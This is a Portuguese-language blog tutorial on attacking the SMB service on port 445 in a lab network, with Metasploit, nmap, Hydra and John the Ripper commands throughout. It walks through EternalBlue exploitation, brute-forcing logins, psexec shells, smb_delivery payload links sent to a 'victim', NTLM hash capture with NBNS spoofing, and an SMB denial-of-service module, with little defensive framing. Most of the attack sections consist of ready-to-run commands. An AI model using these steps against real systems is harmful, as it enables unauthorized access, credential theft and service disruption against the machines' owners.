Teste de invasão serviço SMB (porta 445)

Neste artigo, aprenderemos como obter controle sobre o PC da nossa vítima através da porta SMB. Existem várias maneiras de se fazer isso e vamos levar um pouco de tempo para aprender tudo isso, porque existem diferentes circunstâncias que exigem uma técnica diferente.

Tabela de Conteúdo

Introdução ao Protocolo SMB

  • Trabalhando com SMB
  • Versões do Windows SMB
  • Segurança do protocolo SMB

Enumeração SMB

Scanner de Vulnerabilidades

Várias maneiras de explorar SMB

  • Eternal Blue
  • SMB login via Brute Force
  • PSexec to connect SMB
  • Rundll32 One-liner to Exploit SMB
  • SMB Exploit via NTLM Capture

Ataque DDOS SMB

Pós-exploração

Compartilhamento de arquivos

  • smbserver
  • smbclient

Introdução ao Protocolo SMB

O SMB (Server Message Block), cujo dialeto moderno era conhecido como Common Internet File System, opera como um protocolo de rede de camada de aplicativo para compartilhamento de arquivos que permite que aplicativos em um computador leiam e gravem arquivos, solicitem serviços de softwares de servidor em uma rede de computadores. O protocolo SMB pode ser usado sobre o protocolo TCP / IP ou outros protocolos de rede. Usando o protocolo SMB, um aplicativo (ou usuário de um aplicativo) pode acessar arquivos ou outros recursos em um servidor remoto. Isso permite que os aplicativos leiam, criem e atualizem arquivos no servidor remoto. Ele também pode se comunicar com qualquer programa do servidor que esteja configurado para receber uma solicitação do cliente SMB.

Trabalhando de SMB

O SMB funciona como um protocolo de solicitação-resposta ou cliente-servidor. A única vez que o protocolo não funciona em uma estrutura de solicitação de resposta é quando um cliente solicita um bloqueio oportunista (oplock) e o servidor precisa interromper um bloqueio existente porque o modo atual é incompatível com o bloqueio existente. Os computadores clientes que usam o SMB se conectam a um servidor de suporte usando NetBIOS sobre TCP/IP, IPX/SPX ou NetBUI. Depois que a conexão for estabelecida, o computador ou programa cliente poderá abrir, ler/gravar e acessar arquivos semelhantes ao sistema de arquivos em um computador local.

Versões do Windows SMB

CIFS: A versão antiga do SMB, incluída no Microsoft Windows NT 4.0 em 1996.

SMB 1.0 / SMB1: a versão usada no Windows 2000, no Windows XP, no Windows Server 2003 e no Windows Server 2003 R2.

SMB 2.0 / SMB2: esta versão usada no Windows Vista e no Windows Server 2008.

SMB 2.1 / SMB2.1: esta versão usada no Windows 7 e no Windows Server 2008 R2.

SMB 3.0 / SMB3: esta versão usada no Windows 8 e no Windows Server 2012.

SMB 3.02 / SMB3: esta versão usada no Windows 8.1 e no Windows Server 2012 R2.

SMB 3.1: esta versão usada no Windows Server 2016 e no Windows 10.

Atualmente, a versão mais recente do SMB é o SMB 3.1.1 que foi introduzido no Windows 10 e no Windows Server 2016. Essa versão oferece suporte à criptografia AES 128 GCM, além da criptografia AES 128 CCM adicionada ao SMB3 e implementa a verificação de integridade de pré-autenticação usando SHA-512 hash. O SMB 3.1.1 também torna a comunicação segura e obrigatória ao conectar-se a clientes usando o SMB 2.xe superior.

Segurança do protocolo SMB 

O protocolo SMB suporta dois níveis de segurança. O primeiro é o nível de compartilhamento. O servidor está protegido nesse nível e cada compartilhamento tem uma senha. O computador cliente ou usuário deve inserir a senha para acessar dados ou arquivos salvos no compartilhamento específico. Este é o único modelo de segurança disponível nas definições dos protocolos Core e Core plus SMG. A proteção no nível do usuário foi posteriormente adicionada ao protocolo SMB. Ele é aplicado a arquivos individuais e cada compartilhamento é baseado em direitos específicos de acesso do usuário. Depois que um servidor autentica o cliente, ele recebe uma identificação exclusiva (UID) que é apresentada no acesso ao servidor. O protocolo SMB oferece suporte à segurança individual desde que o LAN Manager 1.0 foi implementado.

Enumeração SMB

Para identificar as seguintes informações do sistema Windows ou Samba, cada pentester vai para a enumeração SMB durante o teste de penetração da rede.

  • Banner
  • Ciclagem RID
  • Listagem de usuários
  • Listagem de informações de associação ao grupo
  • Compartilhar enumeração
  • Detectando se o host está em um grupo de trabalho ou em um domínio
  • Identificando o sistema operacional remoto
  • Recuperação de política de senha

Aqui você pode observar, estamos usando o nmap a mais famosa ferramenta de varredura de rede para enumeração de SMB.

1nmap -p 445 -A 192.168.1.101

Como resultado, enumeramos as seguintes informações da máquina de destino:

Sistema Operacional: Windows 7 ultimate

Nome do computador e nome NetBIOS: Raj

Modo de segurança SMB: SMB 2.02

Existem tantos scripts automatizados e ferramentas disponíveis para a enumeração SMB.

Scanner de Vulnerabilidade

Durante a fase de enumeração, geralmente procuramos a captura de banner para identificar a versão do serviço em execução e o sistema operacional do host. Depois de enumerar essas informações, você deve passar pela fase de varredura de vulnerabilidades para identificar se o serviço de instalação é uma versão vulnerável ou corrigida.

O Nmap serve vários scripts para identificar o estado da vulnerabilidade para serviços específicos, da mesma forma que possui um script embutido para o SMB identificar seu estado vulnerável para determinado IP de destino.

1nmap –script smb-vuln* -p 445 192.168.1.101

Como resultado, ele mostrou que a máquina alvo é altamente vulnerável ao Ms17-010 (azul eterno) devido ao SMBv1.

Várias maneiras de explorar SMB

EternalBlue

Como sabemos, é vulnerável ao MS17-010 e podemos usar o Metasploit para explorar esta máquina. Portanto, executamos o seguinte módulo que explorará diretamente a máquina de destino.

123use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue)
> set rhost 192.168.1.101
msf exploit(ms17_010_eternalblue)
> exploit

Boomm !! Nós acessamos com sucesso o shell remoto da máquina como mostrado na imagem abaixo.

Login SMB via força bruta

Se você não conseguir enumerar o estado vulnerável do SMB ou a versão corrigida encontrada do SMB na máquina de destino, teremos “Força bruta” como outra opção para obter acesso não autorizado da máquina remota.

Aqui nós só precisamos de dois dicionários que contém uma lista de nome de usuário e senha em cada um e uma ferramenta de força bruta.

1hydra -L user.txt -P pass.txt 192.168.1.101 smb

-L -> indica o caminho da lista de nome de usuário

-P -> denota o caminho da senha

Uma vez que os comandos sejam executados, ele começará a aplicar o ataque do dicionário e, assim, você terá o nome de usuário e a senha corretos em nenhum momento. Depois de alguns minutos, o Hydra decifra a credencial, pois você pode observar que pegamos com sucesso o nome de usuário SMB   como  raj  e  senha  como  123 .

Se você tiver uma credencial de login do SMB, poderá usar o seguinte módulo para determinar quais usuários locais existem por meio do serviço SAM RPC.

12345use auxiliary/scanner/smb/smb_enumusers
msf auxiliary(smb_enumusers)
> set rhosts 192.168.1.101
msf auxiliary(smb_enumusers)
> set smbuser raj
msf auxiliary(smb_enumusers)
> set smbpass 123
msf auxiliary(smb_enumusers)
> exploit

PSexec – para conectar o SMB

Depois de ter a credencial de login SMB da máquina alvo, com a ajuda do seguinte módulo do metasploit, você pode obter a sessão do medidor para acessar o shell remoto.

12345use exploit/windows/smb/psexec
msf exploit windows/smb/psexec) 
> set rhost 192.168.1.101
msf exploit(windows/smb/psexec)
> set smbuser raj
msf exploit(windows/smb/psexec)
> set smbpass 123
msf exploit(windows/smb/psexec)
> exploit

Depois que os comandos forem executados, você ganhará uma  sessão  de medição do PC da vítima e poderá acessá-la como quiser.

No metasploit existem muitos scripts e ferramentas disponíveis para conectar a máquina remota usando o protocolo SMB.

Rundll32 One-liner para explorar SMB

Este módulo serve cargas úteis através de um servidor SMB e fornece comandos para recuperar e executar as cargas geradas. Atualmente suporta DLLs e Powershell.

123use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery)
> set srvhost 192.168.1.109
msf exploit(windows/smb/smb_delivery)
> exploit

Isso irá gerar um link para o arquivo dll malicioso, agora envie este link para o seu alvo e aguarde a ação dele.

Assim que a vítima for executada acima do código malicioso dentro do prompt de execução ou do prompt de comando, obteremos a sessão do medidor no metasploit.

Exploração SMB via captura NTLM                   

Outro método para explorar o SMB é a captura de hash do NTLM, capturando hashes de senha de resposta da máquina de destino do SMB.

Este módulo fornece um serviço SMB que pode ser usado para capturar os hashes de senha de resposta de desafio dos sistemas clientes SMB. As respostas enviadas por este serviço têm, por padrão, a sequência de desafio configurável (\ x11 \ x22 \ x33 \ x44 \ x55 \ x66 \ x77 \ x88), permitindo uma fácil quebra usando Cain & Abel, L0phtcrack ou John the ripper (com patch jumbo) . Para explorar isso, o sistema de destino deve tentar autenticar neste módulo.

1234use auxiliary/server/capture/smb
msf auxiliary(smb)
> set srvhost 192.168.1.109
msf auxiliary(smb)
> set johnpwfile /root/Desktopmsf auxiliary(smb)
> exploit

Simultaneamente, execute o módulo NBNS_response sob o módulo smb de captura.

Este módulo forja respostas do Serviço de Nomes NetBIOS (NBNS). Ele escutará as solicitações NBNS enviadas ao endereço de broadcast da sub-rede local e falsificará uma resposta, redirecionando a máquina de consulta para um IP de escolha do invasor. Combinado com o auxiliar/servidor/captura/smb ou auxiliar/servidor/captura/http_ntlm é um meio altamente eficaz de coletar hashes crackear em redes comuns. Este módulo deve ser executado como root e será vinculado ao udp/137 em todas as interfaces.

1234auxiliary/spoof/nbns/nbns_response
msf auxiliary(nbns_response)
> set spoofip 192.168.1.109
msf auxiliary(nbns_response)
> set interface eth0
msf auxiliary(nbns_response)
>exploit

Como resultado, este módulo gerará um prompt de segurança de janela falsa no sistema da vítima para estabelecer conexão com outro sistema para acessar as pastas de compartilhamento desse sistema.

Usamos o comando nmap UDP e TCP port scanning para identificar portas e protocolos abertos e, a partir de determinada imagem, você pode observar que a porta  137  está  aberta  para o  serviço de rede NetBIOS  em nossa máquina local.

Agora, quando a vítima tentar acessar nossa pasta de compartilhamento, ele tentará se conectar conosco através de seu IP de rede, dado que a imagem abaixo é uma prova para demonstrar que a vítima está conectando IP malicioso: 192.168.1.109. Quando a vítima tentar acessar a pasta de compartilhamento, ela será aprisionada no prompt de alerta de segurança de janela falsa, que pedirá às vítimas que insiram seu nome de usuário e senha para acessar pastas compartilhadas.

Impressionante!! Mais uma vez o atacante havia capturado o hash NTMLv2, a partir da imagem dada você pode ver que aqui também o atacante capturou:

Nome de usuário:  raj

Agora use john the ripper para quebrar o hash ntlmv2 executando o comando abaixo

1john _smb_netntlmv2

A partir da imagem abaixo, você pode confirmar que recuperamos a senha com sucesso  : 123  para o usuário: pentest crackeando o hash ntlmv2.

Ataque do SMB DOS

O ataque SMB Dos é outro método excelente que temos em nossa estrutura de metasploit.

Este módulo explora uma falha de negação de serviço no cliente Microsoft Windows SMB no Windows 7 e no Windows Server 2008 R2. Para acionar esse bug, execute este módulo como um serviço e force um cliente vulnerável a acessar o IP desse sistema como um servidor SMB. Isso pode ser feito incorporando um caminho UNC (\HOST\share\something) em uma página da Web se o destino estiver usando o Internet Explorer ou um documento do Word.

123use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loopmsf auxiliary(ms10_006_negotiate_response_loop)
> set srvhost 192.168.1.106
msf auxiliary(ms10_006_negotiate_response_loop)
> exploit

Agora, quando a vítima tentar acessar a pasta de compartilhamento através do nosso IP malicioso, a máquina de destino será esmagada e esse ataque será muito eficaz.

Pós-exploração

Este módulo irá enumerar compartilhamentos de arquivos configurados e usados ​​recentemente.

123use post/windows/gather/enum_shares
msf post(enum_shares)
> set session 1
msf post(enum_shares)
> exploit

Como você pode observar, aqui foram mostrados três caminhos UNC que foram inseridos no diálogo de execução.

Compartilhamento de arquivos  

Smbexec.py

Agora vamos usar um script python que ativa o serviço SMB em nossa máquina Linux. Isso é útil na situação em que a máquina de destino NÃO possui um compartilhamento gravável disponível. Você pode visitar o  github  para este script python.

Copiei o código python do github e passei para um arquivo de texto como  smbserver.py  na pasta desktop. Agora execute o comando abaixo para uma pasta compartilhada “raj”.

Desde que estamos cientes do serviço smb que está sendo executado na máquina host 192.168.1.108 e estar usando a plataforma de janela, podemos acessar a pasta de compartilhamento através do prompt de comando Executar.

Assim, você pode observar que nós tivemos sucesso em acessar a pasta “raj” e encontramos dois usuários de arquivos de texto e passá-los. Desta forma, podemos usar o script smb python para compartilhar arquivos entre janelas e máquinas Linux.

Smbclient

O smbclient é um cliente que pode ‘conversar’ com um servidor SMB / CIFS. Ele oferece uma interface semelhante à do programa ftp. As operações incluem coisas como obter arquivos do servidor para a máquina local, colocar arquivos da máquina local no servidor, recuperar informações de diretório do servidor e assim por diante.

1smbclient –L 192.168.1.108
1smbclient //192.168.1.108/raj

Como você pode observar com a ajuda do smbclient, podemos ver a pasta de compartilhamento da máquina da vítima. Além disso, podemos usar o smbclient para compartilhar arquivos na rede. Aqui você pode observar que nós tivemos um login com sucesso usando raj: 123 login e transferimos o arquivo user.txt.

Bom, por enquanto é isso..divirtam-se! 😉

Compartilhe
  •  
  •  
  •  
  •  
  •  
  •  
  •  

Comente